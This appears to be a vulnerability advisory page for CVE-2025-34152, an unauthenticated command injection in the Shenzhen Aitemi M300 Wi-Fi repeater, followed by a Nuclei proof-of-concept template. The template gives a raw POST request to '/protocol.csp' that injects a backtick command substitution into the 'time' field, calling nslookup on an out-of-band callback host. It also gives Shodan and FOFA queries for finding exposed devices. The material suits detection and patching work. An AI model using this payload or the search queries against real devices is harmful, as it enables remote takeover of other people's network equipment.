An unauthenticated OS command injection vulnerability exists in the Shenzhen Aitemi M300 Wi-Fi Repeater (hardware model MT02) via the 'time' parameter of the '/protocol.csp?' endpoint. The input is processed by the internal date '-s' command without rebooting or disrupting HTTP service. Unlike other injection points, this vector allows remote compromise without triggering visible configuration changes.
PoC代码[已公开]
id: CVE-2025-34152
info:
name: Shenzhen Aitemi M300 Wi-Fi Repeater – Unauthenticated Remote Command Execution via `time` Parameter
author: Chocapikk,DhiyaneshDk
severity: critical
description: |
An unauthenticated OS command injection vulnerability exists in the Shenzhen Aitemi M300 Wi-Fi Repeater (hardware model MT02) via the 'time' parameter of the '/protocol.csp?' endpoint. The input is processed by the internal date '-s' command without rebooting or disrupting HTTP service. Unlike other injection points, this vector allows remote compromise without triggering visible configuration changes.
reference:
- https://chocapikk.com/posts/2025/when-a-wifi-name-gives-you-root-part-two/
- https://github.com/rapid7/metasploit-framework/pull/20455/files
- https://nvd.nist.gov/vuln/detail/CVE-2025-34152
metadata:
verified: true
max-request: 1
shodan-query: http.favicon.hash:-741058468 "lighttpd/1.4.32"
fofa-query: icon_hash="-741058468" && server=="lighttpd/1.4.32"
tags: cve,cve2025,aitemi,m300,wifi,unauth,rce,vkev
variables:
payload: "`$(nslookup {{interactsh-url}})`"
http:
- raw:
- |
POST /protocol.csp?x HTTP/1.1
Host: {{Hostname}}
Accept: application/json, text/javascript, */*; q=0.01
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Origin: {{RootURL}}
Referer: {{RootURL}}/network.html
fname=system&opt=time_conf&function=set&time={{url_encode(payload)}}
matchers:
- type: dsl
dsl:
- 'contains(interactsh_protocol, "dns")'
- 'contains_all(body, "error","opt")'
- 'contains(content_type, "text/plain")'
condition: and
# digest: 4a0a00473045022100e6a4efe15b9c48fba8f48783f1ac2658d4c2e564dcb26386817a6185759f940102200141969a841be8c2c9c7136ee8fbf8bce6430c105ceaa9ae89b78af0595586c1:922c64590222798bb761d5b6d8e72950